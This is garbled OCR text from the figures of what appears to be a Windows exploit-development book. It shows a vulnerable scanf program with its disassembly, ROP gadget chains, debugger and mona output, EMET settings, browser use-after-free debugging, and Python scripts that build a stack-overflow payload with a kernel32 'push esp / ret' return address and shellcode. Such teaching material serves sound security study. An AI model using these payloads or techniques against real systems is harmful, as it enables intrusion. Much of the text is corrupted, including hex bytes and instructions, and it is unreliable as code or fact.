SUB £4X,2 # POP EBP # RETN
-===> B eax = cmd

P

XCHG E4X,ZCX # MOV E0X,653FB4A5 & RETN
-> B =axtoeh = cmd+lsh
=5 B scx = cnd

o

1OV DMORD PTR [EAXIOEH] ,ECX # POP EEP # RETN @x10

XCHG EAX,ECX # WOV E0%,653FBAA5 # RETN
ADD ZAX,0C # RETN

-> BFE =ax = endtoch

KCHG EAX,ESP # RETN

XE B 3] cmdroch

e
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6:int main(
74
®p1111000 push  ebp
01111001 mov  ebpesp
DI111003 sub  esp24h
01111006 mov eaxdword ptr dsi01113004h]
DIITI008 xor  saxebp
01111000 mov  dword pir [ebp-4leax
8 char name[32];
9 printf("Enter your name and press ENTER\1")
DIITI010 push  1112108h
01111015 call  printf (011110A0h)
10: scanf(*%s", name):
0111101A lea eax name]
DIIT101D push  eax
0111101 push  111212Ch
01111023 call  scanf (01111060H)
11: printf(’Hi, %s\n”, name);
DII11028 lea  emtfnamel
01111028 push  eax
DI11102C push  1112130h
01111031 call  printf (011110A0h)
12
13 return0;
143
01111036 mov  ecxdword ptr [ebp-4]
01111039 add  esp.ldh
0111103C xot  ecxebp
DLILIOSE sor  eaxeax
01111040 call _security_check cookie (011110D0K)
DI111045 mov.  espebp
01111047 pop  ebp
DI111048 ret
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f.write('a' *0x100000)
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Debugging Tools for Windows
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File Help

Python 2.7.6 (default, Nov 10 2013, 19:24:18) [MSC v.1500 32 bit (Intel)] on win
s

Tupe "eopyrightt, Moredits® or Mlicenss()" for mere information.

| 535 it open('ci\\name.dart, w') as

et eip = \xarixrixeouT ]
sheTicode = '\xce!
name = 'a'+36 + Tec_sip + shellcods

£.write (name)
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with open('c:\\name.dat', 'wb') == f:

Imp
handler

shellcode = ("\xe8\XEE\RIZ\REE\XE\RCO\RSE\XDS X1 1\X03\X02\X02\ XS 1 \RE1\X02\ X027+

data
f.urite

\xeb\x06\x20\x20"
"\R44\xbE\XAI\XTS!

M\x02\x02\X83\XC7\ X1 d\ K33 \RE6\XEC\ X582\ X07 \X3C\ X2\ ROF k44 \ OB\ xaR +
"\Xe2\XT6\X55\XBD\xec\XB3 \Rec\X0C\X561X57 \XbI\ KT E\RCO\ KB4 \X TD\XeB
"\X55\%02\X02\X02\XDS\Ke0\ k53 \¥31\ x4\ XED\ LB\ xe B\ X4 2\ X02\X02\X02 "+
M\XBB\XEO\RCT \X45\XE4 K63\ XET\X6C\ X631 X62\ K0S\ XEA\RAS\ R4 \HCT \xAS T+
M\XEE\X26\X65\XTE\X6S\ K50\ RCE\XAS\XECAXO2\REE\XAT \ K62\ XO2\KEE\RAE"+
M\x5E\x33\RC0\K5e\XEB\Ke 5\ x5\ eI\ %33\ xd2 \Keb\ X1 O\ KCT \Rca\X0d\X3C
M\X61\X0F\XDE\XCO\XTC\RO3 K83 \ X8\ %20\ X03 \ A0\ X4 T\ K22\ KO \XB4\ %O+
M\XT5\xea\XEb\XC2\XCI\REA\RAT\XEE\XCI\X55\XBD\ Xec\ XA \nec X1 4\x53"+
M\X561x57\x22\R4d\X T4\ K64\ K21 \X30\ X021 X02\ K02\ KBS\ K4S\ REC\XBD\XAS T+
M\XEC\XEB\X40\X0C\XEB\R40\X14\XBD\ X8\ X2\ 45\ xS\ XEB\ RCT \ KB\ Xd2 "+
M\REE\XEE\REE\XBD\X3E\REBART0\ K 8\ XB5\RT6\XT 4\ x4 E\REEAR46\XICAXED
M\X5C\XI0\RTE\XBS\XAB\RT4 k44 \XBD\XAC\XIZ\XO0C\ X0\ KO\ KB\ KOG\ XEE
MAREE\REE\XED\XAC\ X33\ R20\ KB\ X 45\ X EE\X03 \KCe\ XIS\ HCO\XE\ XA\ KO
M\XBI\xAS\REC\XRIN\ 24 41X33 1K1 8\ X7 6\x22\XEBAKOC\XB1\ KO3 \HCe KB\ RTS T+
MAREE\REE\REE\X03\X4S\ R\ X3\ K4S\ XT4\RT 4 \ X1\ XEB\RAS\REC\XBD\XAQ"H
M\XEO\XA0\XE\ R4S\ XEC\RIB\ K44 \ X33\ X18\R72\ K\ XIB\RT A\ KEC\XT S\ X B+
M\X33\ECO\RSE\K5E\XB\RE\Ke S\ x5\ eI\ XED\ AU\ X EC\REB\ K44\ X33\ X247+
M\XEd\X04\x48\X0E\XDT \ROC\ RSO\ XD\ XA 4\ X33 \R1C\XEA\KO4 \ XEE\XBD\X 04"+
"\%30\x03\xc6\xeb\xdd")

‘21726 + jmp + handler + shellcode

(data + '’ = (10000 - len(data)))





OEBPS/Images/ch7_image024.jpg
i=ld

[+] Connand used

Iey neme - gy

e —r ESF on beruel3d

'

Hons somnand, stavted on MNe-01-05 L& 1 4E (w20 zev B5E)

141 Dusryine

*x Dnsble te praces:

[+], Eropesin outtput £1ic
Re)sstting iogfile Inp txt

02776 32k
D7 7a9t 051
=t 7et

Found a total of 4 pointers

[ This wei

cuang noduis kernsiiZ dbd

c 61 pointers ol typs

L=t reek o orell
L sadule

sssrchFattern ‘nov esx esp b jup === *=
1ng et
np Ll

anplete

te e tel

ing
oi type *
of

(E40000RE 7T

Du77d 3280 (B 0w000E2ARE
0377436601 (BHO=000BESTT )
Da77emt7dt (B nel)ds7ar

P4

A By sitho vedk 000000 343000

e

© Mewery secsss eryer i Clpy wmis JWp ¥ ESP - hewnsl32 diLC

TTE READ) [Rern=l
D) [kemel

Rebase

L3

y
4
1

el 1e38E
50U |
7600 1

True. w6 L 78

(c

(e

.
i

\ andens sy ten 325 ke
o= apeten 32 berns
\Windowstsysten 1z kernel 3

16385 (€ ffindove"system 32 hers






OEBPS/Images/ch12_image051.jpg
tdlliditSes Informat onThe
0000000 77501380
ho00000n 77501383
0000000’ 27501385
NO00O000 " 77501 362






OEBPS/Images/ch2_image010.jpg
@ python
i e ——g






OEBPS/Images/ch13_1_image007.jpg





OEBPS/Images/ch7_image007.jpg
‘ 0x61616161 ST Exploitmel.exe F)3IAMTE: 0xC0000005: HFIIE
061616161 EIRAEBEIEE,

MEEETHSSOIEES  REFETSIBERET.





OEBPS/Images/ch8_image040.jpg
o ooos -] ol
EE(V) ®HE WEH)






OEBPS/Images/ch4_image023.jpg
28ed=0
0028470
20
e e
00290080

10230230
(1230340
00290340
0230408

s

Qs
00080
000
kD
00080
e
00050
n0e0
=0
000B0
0218
ok
0080
e
00050
fn0e0
e
00080
000
kD
0080
(a2t

Qs
00080
0060
kD
00080
im0
00050
nne0
e
00218
anne0
kD
0080
e
0000
n0e0
e
00080
0060
oukn
0d2£8
1211

0=20110






OEBPS/Images/ch6_image010.jpg





OEBPS/Images/ch13_4_image019.jpg
s
OTFHIRE

et iEs
Pt =





OEBPS/Images/ch8_image023.jpg





OEBPS/Images/ch13_1_image067.jpg





OEBPS/Images/ch8_image006.jpg





OEBPS/Images/ch13_2_image006.jpg





OEBPS/Images/ch1_image065.jpg





OEBPS/Images/ch12_image028.jpg
313020282726252423222120191817161514131211109 8 7 6 54 3 2 1 0

LEN|R/W|LEN|R/W|LEN|R/W|LEN|R/W|0 0 Go.rlf 1(G|L|GILIG|L(G|LIG|L| pry

3|13|2|2(1 1100 D M E|E|3|3|2|2|1|1|0|0

31 161514131211109 8 76 54 32 1 0

R

Reserved (setto 1 B|B|Bjlo11 111 111|BBB(B
( ) IIIT slp 3|2|1|0|ORE

31 0
DR5

31 0
DR4

31 0
Breakpoint 3 Linear Address DR3

31 0
Breakpoint 2 Linear Address DR2

31 0
Breakpoint 1 Linear Address DR1

31 0
Breakpoint 0 Linear Address DRO

Reserved






OEBPS/Images/ch12_image002.jpg
[P e
Foon e AR o - e

[RTTp— Kagsin 0t

o
e B e
pPe————" C
ey 8 e
- emper

a0 T b T A
BT Sury BT, Sece






OEBPS/Images/ch13_1_image084.jpg
dn = 1at: Howlnstanss
The breakpaint swpression "jscript9lJs, Typsdirray<int> NevInstance' evaluates to the inlins funstion
Please use bm comnand to set breskpoints instead of bp






OEBPS/Images/ch1_image048.jpg
loading may be unrelisble without a synbol ssarch path
nfiz to have the debugger oh a synbol path
your synbol path, use reload to refresk

nbol lacations. *

wbol file could not be found. Defaulted to synbols for ntdll dll —





OEBPS/Images/ch13_1_image039.jpg





OEBPS/Images/ch6_image014.jpg
Veidces R Ve Con

o e s






OEBPS/Images/ch10_image002.jpg





OEBPS/Images/ch8_image005.jpg
fiwess Expiazens? azn





OEBPS/Images/ch9_image001.jpg
File Edit Format Run Options Windows Help_

with open('c:\\mame.dat', 'wb') =

ret_eip = '\mdf\x£7\xcc\x77" # "push esp / ret” in kernel32.dll

shellcode = ("\xe8\xTE\RIE\XEE\XEE\RCO\RSE\XDS X1 1\X03\X02\X02\ X1 \RF1\X02\x02
M\x02\%02\x83\X07\ X1 A\ K33 \RE6\XEC\ X282\ X07 \X3C\ X2\ ROF 44 \CE\xaR +
"\Xe2\XT6\X55\XBD\xec\XB3 \Rec\X0C\X561X57 \XbI\ KT E\RCO\ KB4 \X TD\XeB
"\X55\%02\X02\X02\XDS\Ke0\ k53 \¥31\ x4\ XED\ LB\ xe B\ X4 2\ X02\X02\X02 "+
M\XBB\XEO\RCT \X45\XE4 K63\ XET\X6C\ X631 X62\ K0S\ XEA\RAS\ R4 \HCT \xAS T+
M\XEE\X26\X65\XTE\X6S\ K50\ RCE\XAS\XECAXO2\REE\XAT \ K62\ XO2\KEE\RAE"+
M\x5E\x33\RC0\K5e\XEB\Ke 5\ x5\ eI\ %33\ xd2 \Keb\ X1 O\ KCT \Rca\X0d\X3C
M\X61\X0F\XDE\XCO\XTC\RO3 K83 \ X8\ %20\ X03 \ A0\ X4 T\ K22\ KO \XB4\ %O+
M\XT5\xea\XEb\XC2\XCI\REA\RAT\XEE\XCI\X55\XBD\ Xec\ XA \nec X1 4\x53"+
M\X561x57\x22\R4d\X T4\ K64\ K21 \X30\ X021 X02\ K02\ KBS\ K4S\ REC\XBD\XAS T+
M\XEC\XEB\X40\X0C\XEB\R40\X14\XBD\ X8\ X2\ 45\ xS\ XEB\ RCT \ KB\ Xd2 "+
M\REE\XEE\REE\XBD\X3E\REBART0\ K 8\ XB5\RT6\XT 4\ x4 E\REEAR46\XICAXED
M\X5C\XI0\RTE\XBS\XAB\RT4 k44 \XBD\XAC\XIZ\XO0C\ X0\ KO\ KB\ KOG\ XEE
MAREE\REE\XED\XAC\ X33\ R20\ KB\ X 45\ X EE\X03 \KCe\ XIS\ HCO\XE\ XA\ KO
M\XBI\xAS\REC\XRIN\ 24 41X33 1K1 8\ X7 6\x22\XEBAKOC\XB1\ KO3 \HCe KB\ RTS T+
MAREE\REE\REE\X03\X4S\ R\ X3\ K4S\ XT4\RT 4 \ X1\ XEB\RAS\REC\XBD\XAQ"H
M\XEO\XA0\XE\ R4S\ XEC\RIB\ K44 \ X33\ X18\R72\ K\ XIB\RT A\ KEC\XT S\ X B+
M\X33\ECO\RSE\K5E\XB\RE\Ke S\ x5\ eI\ XED\ AU\ X EC\REB\ K44\ X33\ X247+
M\XEd\X04\X48\X0E\XDT \ROC\ RSO\ XD\ XA 4\ X33 \R1C\XEA\KO4 \ XEE\XBD\X 04"+
"\%30\x03\xc6\xeb\xdd")

name = '2'736 + ret_eip + shellcode

£.urite (name)
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e

eax, [esiv5hn]
ebx, [ebp+str2]
edx, ds:1D7DUAESH
edi

ebx

eax

edx

eax, [ebpruar_91C]
eax
__bidScopeEnterit
esp, 14

short loc_1D7B9EAS|

10c_107B9ER2:
nouebx, [ebpsstr2]

1oc_107B9ERS :
test  evx, evx
iz short loc_1D7B9EB7|

=]
push  ebx 3 BSTR
call  ds:_imp_SysStringlen@h ; Sysst
test  eax, eax
jnz  short loc_1D7B9F23






OEBPS/Images/ch13_2_image015.jpg
I

MR






OEBPS/Images/ch14_1_image016.jpg
SITA0R00000 %v
ot b4

dat
nanscians Gy
OiGGbadzicto o
et ah

7, 1 sex
draes 0SS G i
ZhEiE e sa0io)

HEAE BNTRY Saze Pres Flacs
007ds2a8 0086 0000 (031

Gverd prr (sogd] G0006
P

dvord per [esxedsh offser JSHTIL,
MSRTHL CBase . SubReiosses 0x30 (049274
dvord pix [eaxsdch]

SR fCBeoe SubReLossestnd (03487¢28)

sgiecd (O4esscA1)

shup
o dvond 50 emse i

HERTH TCHorkup, TsComnestad
2ox dvcrd B (eoxe 200

usnnmu;mync;mmym,mmwmw (030t
1 o
RIS e tdToprinaryHazkopsta??. (020040

ECXiemT iR

sexPrr UssiSize - state
007asch0 DR4Zs - haey)

T0CI00T 00510081 005T00ET O0eT00ET T
D0E10061 00610061 0010061 00610061 DOE1DDET
DOGi00GI 0010061 00810061 OB¢10ved 0DE1oDel
DUGIO0GI 00810051 D0S100E1 00SI00E 0OE1DDET
O0E10061 00610061 00510061 00510061 00E10061
D0E1001 0010061 00610061 00610061 0DELDDEL
D0610061 00610061 00810061 0DS100e1 0OE10DEL
00510051 0010061 00810061 00610061 DOEIDOBT
D0E10081 0010051 0010061 DOELOOEL DOELDOET
0061001 00510061 00610061 0610061 DOEADDEL
D0E100¢1 00E10061 00610061 00610081 00E10DE
00610067 00810061 00810061 00510061 00610061
DUGIDUGE 00610061 DUS10061 OOSI00EH 0OE1D0ET
A0€10061 0010061 00610061 00510061 0OE100EL
00610061 0010061 00610061 00610061 DOELDDEL
D0GL00GE 00610061 00510061 ODGIODE1 00E100E1
00610061 0010061 0010061 ODEL0e1 00e1DDB1
00610061 00510061 DUI0061 ODELOG1 DDELDDET
00610051 00510061 00610061 00410061 DOE10DEL
00610061 0010061 00610061 00610061 0DEL0DEL
D0EL001 0010061 00510061 08610061 00E1DDGT
DOGI00GE 00E10061 00810061 ODSI00E 00E100eT
0610063 0010061 00810061 00610061 0DE100EL
00610061 00610061 00610061 00610061 DDELDDET

00610063 00610041 00610061 00410081 0010061 0061008

Ln0,Col0 SysG:<local> Proc 000:1068 Thed 007:1200 ASM OVR CAPS NUM.






OEBPS/Images/ch1_image032.jpg
Ln3,Coll SysO:<local> Proc 000820 Thrd 000:1204 NUM






OEBPS/Images/ch8_image033.jpg
63 63 63 63 63 63 6363 63 63 63 63 63 63 63

10231620





OEBPS/Images/ch13_1_image091.jpg





OEBPS/Images/ch6_image029.jpg
8401154
0401155

0401164
0401165

0401167
0401168

0401168
040116C

0401172
0401179

58
£
c7
50
52
52
52
o0
52
52
8
52
89
89
89

uy
su

o1

10

By
By
By

2u
24

21

2u
24
24

s5¢
8

ua

ca
BC
B8

90 00 00 81 00+

push
lea
noy
push
push
push
push
push
push
push
push
push
noy
noy
noy
call

eax
eax, [esp+5h]

duord ptr [esp+88h], 108n
eax

edx

edx

edx

1

edx

edx

402116n ;
edx

[esp+oCon], esi
[esp+oBch], esi
[esp+oBsh], esi
dword ptr [esp+48h]






OEBPS/Images/ch7_image033.jpg
eax+00000000 ebws74 cadinn -:ﬂmuui § e TTIEAES eo1e0B2abedd bt
=250 001at304 expeiiiistads ebpeb1€161hi topi=0 W up m B EE Aa
[Ss20010 <e0027 de0i27 e2e0027 far00db ss<0000 tis0uam2e
00 Lot med .





OEBPS/Images/ch12_image072.jpg
tuslProtes

tEx

// 1pflOldProtect (FISEIUE)

JIPAGE_EXECUTE_READWRITE
/ ‘hﬁ]“ﬂ

[rEEhEEst
S1 /O AER)






OEBPS/Images/ch9_image016.jpg
ERTESTLE,

Sy

SHNEIES TN

I

duauvEvEYRERES

"

EABSEAR

herd e [ = 0

P

e

vap(san;26x)

feasseh] = cx

o 4m 12

» EEAT

£ binpack

s Uiy OR (REHISHI l
B |
|

€I S51 8 US55 & ROV ERX,EDT & POR EDT & FOR £SL 4 POV 50 # HETH 0x0s

> HE i - here

5 K v, 55 4 4T
# S BE e e here

# 508 €07 & 708 o1 8 70R €50 & REN
&8 E127 8 b o 8 Pop @ Tn

& Sia 227 & vor- £ & pop can & ETY

& s £21,7 8 bor £ 8 PP 230 & ROV

& S Cixi7 @ pon X @ FOn o & e

5 S 2013 o £ b R

# 1 e’y pEw

R e e (B o <5 valie o zersiont)

508 ECX,EEX B XCHG EC,IORD 51 [£3] % POP ESY & pop €5 8 ArTH

# 5B £1X,2 8 0P EO 8 HEM
.

) B worsbeh = coderdn (B, cmisieh > BFHEHICRdLINE)

XCHG A%, 605 8 WOV £0K, 6538045 REVN,
OB Exx,Exk & RETK B
506 EAX, X # 909 6P & RETH 9508

i
=

o o i S, 63845 ¢ 26T
oo A

5 oun + cateoin
£ e

o otn






OEBPS/Images/ch13_1_image059.jpg
HiEEE

duord pra espelion]





OEBPS/Images/ch4_image015.jpg





OEBPS/Images/ch1_image075.jpg





OEBPS/Images/ch10_image022.jpg





OEBPS/Images/ch12_image036.jpg
Fivet chancs esoep : fors any e il ir
his sgreptlin may be crpe hndlnd,

22x=00000000 bs=0000017c ecx=0015504 eds=7773644 esi=66a53aly edi=66a4£607
2ip=0015457d sp=0015d558 ebp=66b2512d iopl=0 v up ei pl zr na pe ne

cs=001b s==0023 de=

££1=00010246






OEBPS/Images/ch12_image079.jpg
@ ~

Memprot | Caller

U= N : .
= & (%] @ K A [« esmoreser 2 oeentooks i aniperous
Bgot Bxport  Add Appication Add Widcard  Remove  Show Full Show Al Audt oty i R

Selected Selected Path Settings - -

File Add / Remove Options. Default Action Mitigation Settings
Meigatons

¥ [ Fnd Clear
App Name ~ |DEP |NulPage |Heaps... |EAF EAF+ Mandat... | Botto. LoadLib
Explottme3.exe v 4 v % v v 1% v
iexplore.exe—— = ¥ | o v ¢ G
mropam ¢ ] HEH# . & = v v 7
java.exe EEV) RSE SEHH) -1 W v v
java.exe ] 0 ¥ | & | @
java.exe B 9 | W | o
Javaw.exe ¥ ¥ ™
Javaw.exe —— u] ¥ % @
Javaw.exe & 3 ¥ | v
Javaws.exe opee ooee eoee eoee | | 4 ¢ d
javaws.exe = v 2 |
jmawsene A e | [ s ] [ | [ - S
LYNC.EXE — === i L1 v %) v
msaccess | 8 [l [lc | ¥ & | @
MSPUB.EXE ¥ ¥ ™
osexe cilz]le o]l = i -
outLook. B}l | or|lxoc| D[4 ]]5 ][ 6= | | % v v
POWERPHT.| == e — ] 4 ¢ d
PPTVIEWE)| | = [sn [[mn ]| £ [1 ][ 2 [[3 ][] 2 o ™
vistoexe || | - v v | o
== =) = /

vonewgf (00| f{mall £l o [l |l fl ] ;
WINWORD. B =B =)

wardnad.exe

K

K&K &I T K

RIKIKI KK

y RIKEK

KK KI K

JRK

| simExe.

Z
v

KK K| K1 K

KKK

KK K| K1 K

KKK

<K KKK

StackPl...

ASR






OEBPS/Images/ch1_image044.jpg





OEBPS/Images/ch13_1_image063.jpg
Libos 10000007 11252000 B0000002

L0 OTR0ROTT Q0001000 pNN0T0TE 11zes00n
55a5Apa0  Llos=a00 25850060 (0000000 J000000C
29856030 000ODOOD DOODOOND D3bbeftn 00DODODD
SRESAGAI ADOOOOGN AOODOODT GOOROBOG HOOBO0DE

dEL0Ed 00000000 0O0OOOOD 1ZELZ102 SE0OOOODN
BSE0C0 £eillbOc N0000O0I 112:0000 0NONOONI
255070 _duiininz: J0000000 A0A0006¢ 13222520

(be11150c)

fisck  vitable' | (belllb30)  jscraptdiPesSemuent  vitable

vitable' = iud type informstion;






OEBPS/Images/ch1_image001.jpg
NUM |





OEBPS/Images/ch14_1_image028.jpg
k2 v

duord ptr [w' 248h
eax, [esiviun]

=]

; START OF FUNGTION GHUNK FOR 7RddInvalidationTaskECUiewR@QAEJPAVCTreeNode@yAlnvalidationT ypeR2eaz

loc_63919E90: 5 this ecx, [ebprarg 4]
Rou lmeks 6k Lesi ;:ﬂn'}, eck
call ?Parent@CTreeNodeBROBEPAVIRXZ ; CTreeNode::Parent(uoid) eax, 7
mou esi, eax y

jnp loc_636E 8589

% END OF FUNCTION CHUNK FOR ?AddInvalidationTaskECUiew@EQAEJPAUCTreeNodeR@WAInualidationTypeRzeaz

]
=

xor  edx, edx

mou [ebp+uar_1c], esi

push  ecx 5 int

lea  eax, [ebpruar_24]

nou  [ebpevar 10], edx

push  eax 3 int

lea ecx, [edi+230n] ; this

o [Chpegar.b] . cdk

nou  [ebpruar 20], edx

mou [ebp+var_24], 8

nou [ebp+uar_18], edx

nou [ebp+uar_14], edx

nov  [ebprvar 81, 41

call  ??$AppendIndirect@$BCEGECImplAry@RIAEJPBXPAPAX@Z ; Clmplary::Appendindirect<36>(void const *,uoid *

nov ebx, eax

test  ebx, ebx

jnz. short loc_636E8627

eax, word ptr [esivhen]
ecx, OFFFFh

ax, ox

short loc_636E0620

eax
[esi+h6h], ax

10c_s36E0620:
or duord ptr [esiaun], 80n

1oc_636E0627:
nov”ecx, [ebprarg 4]

v

==l

3 START OF FUNGTION GHUNK FOR 7AddInvalidation]askGCUiew@@QAEJPAUCTreeNode@@ihnyalidationT ypeRzaaz|

10c_s36E251:
test  ecx, ecx
is loc 636E0638

=
push  © 3 int
or a1, son
push  ecx 3 int
hoo  ecx, @di this

nou [edi+3Fuh], al
call ?PostCloselieuw@CUiew@BQAEXHH@Z ; Cuiew
jnp loc_636E8638

: END OF FUNCTION CHUNK FOR ?RddlnvalidationTask@Cyieu@EQAEJPAUCTreeNode@@bhInualidationTypeR2eaz

ostbloselieu(int, int)






OEBPS/Images/ch10_image010.jpg





OEBPS/Images/ch13_3_image015.jpg
\gnaslvuﬂ MSHTHL|=_apiénPlainTesraf§Vtabile | (GhesTeS)  MSHTHL | apfnSibedisdTncTearsf fhtatile
Exact marches:

WSHTHL | =_apfnPlaialearaf iftable <t type infarmstion’
i R

bes7750 bh2HZ47e MSHTHL
6bos7764 6b2e0069 HEHTHE |CAPProcesser - AddRef
bhee7755  b2dlidbd NSHTIL | 1annfisisase
ibes776c  Ghib77a MSHTHLIT=arcf € Thuikd

i yTatertace

o 1 Ghzedabd HEHTHI | Teazof f Thunid ;

be7764 Abieosie MSHTHL| Tearof fThunks BEESZ—T
bes7760 Gblbebd: WSHTHL | Teaval | Thunke

pmer76c . f WEHTAE | Toazot £ Thunk

bbe=7770 bidbooad MSHTNL | Tearct ! Thunks
Bbee7770 §bSo3iS9 MEHTHL|TssraffThunks
nbic2iLl MSHTHL | Tearat { Thunki)
MSHTHL | Toaraif €Thunkl |
TETHI | Tesrof { Thunki
MEHTHL | Tearat i Thunki)
BB77b826 WSHTML | Toaral { Thunk L]
103187 WEHTHL | Tearnt £ Thunkis
b==7791 bpA0ZAES MSHTHL | Tearat ! Thunkis
6bee7794 6b7513d1 HEHTHL TssraffThunlkl?
ebibetie MSHTIL | Toavat § Thunk1d
GbEBLOE HSHIMHL | Toarst €Thunk1d
D407 0b HEHTHI | Teorof £ Thuniczd
Ab751481 MEHTHLI Teara i ThunkZ]
B749471 MSHTML | Tearol [ Thunk22
12770823 WSHTHL | Toazet ¢ Thunkc2]
57 MBHTHL | Tearot EThunlcsd
bA0G51Z HOHTHL| Tsarat f Thuuks
obEichis MSHTIL | Tearat § Thunkst
Ghe=77bc  GHESC1I6 WSHITHLIT=arat £Thun
(bee?7cl  B537acs HEHTHL | Tesrof f Thun
hb==77ed  AES23KD6 MEHTUL|Tearat i Thunk?
BB5761 8 MSHTMI | Tearal { Thunk 30
2494680 WSHTAL | Tearni £ Thunk 31






OEBPS/Images/ch11_image002.jpg
Read hlock from file
List hlocks
Duplicate Block
Configure mutator
Mutate hlock

Exit

our choice [1-61: 4

> Multiplier Cmultiplier = 2>
> LoverCaser
> Exit

our choice [1-31: 1

utators(0] = Bx0B2504h8
ultiplier (int): asdf
> Read hlock from file
List hlocks
Duplicate Block
Configure mutator
Mutate hlock
Exit

our choice [1-613 1

ile path ('exit’ to exit): cilohj.dat

lock read <168 hytes>

Read hlock from file
List hlocks
Duplicate Block
Configure mutator
Mutate hlock

Exit

our choice [1-61:

Blocks
lock 8: address = 0x062584h8; size = 168

Read hlock from file
List hlocks
Duplicate Block
Configure mutator
Mutate hlock

Exit

our choice [1-61%





OEBPS/Images/ch13_1_image051.jpg





OEBPS/Images/ch13_1_image094.jpg
pthrvayBuiter






OEBPS/Images/ch4_image035.jpg
ze (=bl)
23707404

Chunk (=002908L8

JUseraizs
“ulug @ 0078082

Fill pettern Extre present Husy

WindopsCotess | CPix=lForn=inta_ vilshls

+0018 @ 10230838 73708380 VindowsCodess | CFornatfonverterinia vitabls

~004= @ (0anEGe 73705335 Uindeowstodscs | CPim=iFasnstinia witshiz
Chunl, D=002908cH (Dsersize CliunkSizs Usbl) . FLLl patiern Estre pressnt Busy

S00g @ D0z808al fingest 7. rpdawstedess | CPexelFormetnia  vitshis

Z00ld @ p0240E=E ghjest lndoustoecs |CFasuatConveztestnfo  witshle

+0ll4s @ (0290934 Obj=ct | 70708938 VindewsCodsss|CPixelForstinte  vitsbls
fchuni Bx00=90978 | Usemaize (=94 ChunkSize Uzblli Fili petcern Extrs present Husy

it ) Ofifesl 73702404 VindeysCodess|CPies|Fareal Into_ v lshle

+0018 @ 00290398 fbjest 73103580 PendowsCadess|CFormstianvertesinto viishls

~(04= @ (nianazs fhy==t  93705a3h Hindowstodess|cPix=iFasastinia witshlz
cuumk BeD02o0sco {usersize US98, ChuniSizs Usbl) | FiLL goticon Bxiz prosenl Bisy

0008 ¢ b, fgest 72702401 Urndowstodsss | (2 rxalFormatinia vitshis

~00id @ 002 Ohjest  73708HHD VindowsCodecs|CPomustiomnvertestnfo  wilshle

+0llte @ 0029 | Obisct 7708306 WindowsCodess|CPixsiFornstinfo  vitsble
Fhuk [=)i80ed | teersize (=44 ChunkGize (mol) | Fill petioms Bavre sreeyt Husy

“0008 ® 00230 Obj==l 73703404 VindopsCod==s]CPinslFosnalintn  vlshls

40018 @ 00290aF8 73008380 VandowsCodess | CFommatianventerinto  vitahls

~(04= @ (01aNbes 73705335 Uindeowstodscs | CPim=iFasnstinia witshiz
Cluunl, D=0290B8Y (Usersize Fill patiern Bxtva prosent Busy

<0008 # 00230830 fbgest | 73702404 Vindowsfadess|CPixeiFornatinia  witslis

~0048 @ 002i0bat Ohjest  73708HHD Vindowstodecs|CPomustiomvertestnfo  wilshle

+0ll4s @ (0290bE4 Obj=ct | 70708938 VindewsCodsss|CPixelForstinte  vitsbls
Clunk (=0280c38 |Usersize (x4 “hunkSize 0=b0)  Fill pettern Extys present Busy

Lhlus™s Dizaioal Obj=sl 73707404 VindopsCodecs]CPinalFosnalintn  vilsbls

40018 B 0029058 Objest 73708980 Vindowstodess|CFormetConverterinia vitable

Z004= @ Q020034 fhySSt  73705a3q Hindowstodess|cPixsiFarastinia - witshlz
Cliunl, 0=003902e6 (Usersizs Ud2l8. ChunkSles Usd2l8)  FILl patisen

|Chunk 0200238220 (Usereize Uxid. ChunkSize 0x20)

[+] This mems gy sctiom tock 0 00 07 441000

Busy





OEBPS/Images/ch13_3_image034.jpg





OEBPS/Images/ch14_1_image013.jpg
Global Flags 55
System Registry | Kemel Flag Silent Process Exit|
Image: (TAB ta refresh) — Launch |

[~ Stop on exception [ Disable stack extension
[~ Show loader snaps

Enable heap tail checking
Enable heap free checking
Enable heap parameter checking
Enable heap validation on ca

Enable system critical breaks
Disable heap coalesce on free

171

E
r
e
r Enable exception logging

[~ Enable application verifier

[V Enable page heap)

[ Enable heap tagging

Early ciitical section event creation
Stop on user mods exception

[~ Enable heap tagging by DLL Disable protected DLL verfication
Ignore asserts

Load image using large pages if possible

Debugger

Stack Backtrace: lMegs)

oK Cancel Apply






OEBPS/Images/ch1_image004.jpg





OEBPS/Images/ch6_image026.jpg
AddressOfNames AddressOfNameOrdinals AddressOfFunctions

name_of_func1 —»j ordinal_of_func1 |
name_of func2 —————— ordinal_of_func2

name_of func3 —» ordinal_of_func3

7address_of:fun<:3
+» address_of_func1
- address_of_func2






OEBPS/Images/ch1_image047.jpg





OEBPS/Images/ch12_image016.jpg
i





OEBPS/Images/ch12_image059.jpg





OEBPS/Images/ch10_image025.jpg
ding name from fils.

i, aaaaanaaanaaaaaaansnaaanaARaRARIL?!

Brbodi3071 882802844 Bxbed@Zd9 BxBAANAAGS BxbcdSeAsd OxARABARAD BxBA17FRR4 BBARNAA21
you uant to read the nane again? (y/nl





OEBPS/Images/ch9_image004.jpg
oax-00000000 obn=7 34000 ecx-0Blct Td =dx=00020180 e=1=0105bodd ci=0305bedd
eipe00icinis espioticisny shp-sisiiifl depieo v up et pl2r e pa ne
ct001b ==+0021 ds=0021 #2e0033 tea0ilb sae0ii0d wE1-071024%






OEBPS/Images/ch12_image008.jpg
[sssnnssanssssnyssy

Bl ssaavssssssassssy

by s 3333 amxa sy sy

b

[y asasnsasnsassssssy

I 23333330

VS S3 S 3 SRR AT A NN

Blsssasssssnssasssnsy






OEBPS/Images/ch1_image072.jpg
Chzle-sP Retdis
000UDIDD" D02B¢e8 DDDDDDDD E1Le0DE

00000000





OEBPS/Images/ch13_1_image008.jpg
Windows
) FEAO) EE(V) BEH)

|G| wE (s [t [BR (@A |
BT m mAE oV mEEA.. z
chrone. exe ¥32 w8 Hede 0 3,76 K Google Chrome
chrone axe ¥32 U0 e 0 32664 K Google Chrone
chrone axe ¥32 o M 00 19012 & Google Chrons
chrone axe ¥32 G4 Kl 00 IS4 K Gooele Chrons
e o 5600 &
dum, exe 4976 Helen 00 141,072 k. SEEOEER
explorer. exe @ Hde 0 %0 K Windors REEIEE |
Sexplore. axe S fde 0 5800 & Internet Bxglorer
Senslore, axe ¥ 6060 Felen 00 540,068 K Intarnst Explorer
notepadtt.exe 132 B0 Heae 00 1,220 K Totepadtt © o free
Snagi 92, exe 32 W0 Ml 05 60 K Snasit
Snagi tEdi tor. exe 432 W Hede 00 29060 K Snesit Editor
Snagfriv, exe 32 % Hede 00 L7 K Snagit RPC Helper
[ WErraRsmEEs |

R 69 CPU &R 7% MIEAE: 68%






OEBPS/Images/ch6_image011.jpg
R REE)
FEN)
I70)

W EFEEAG
F SEAA.
W smEE

EREBEER)

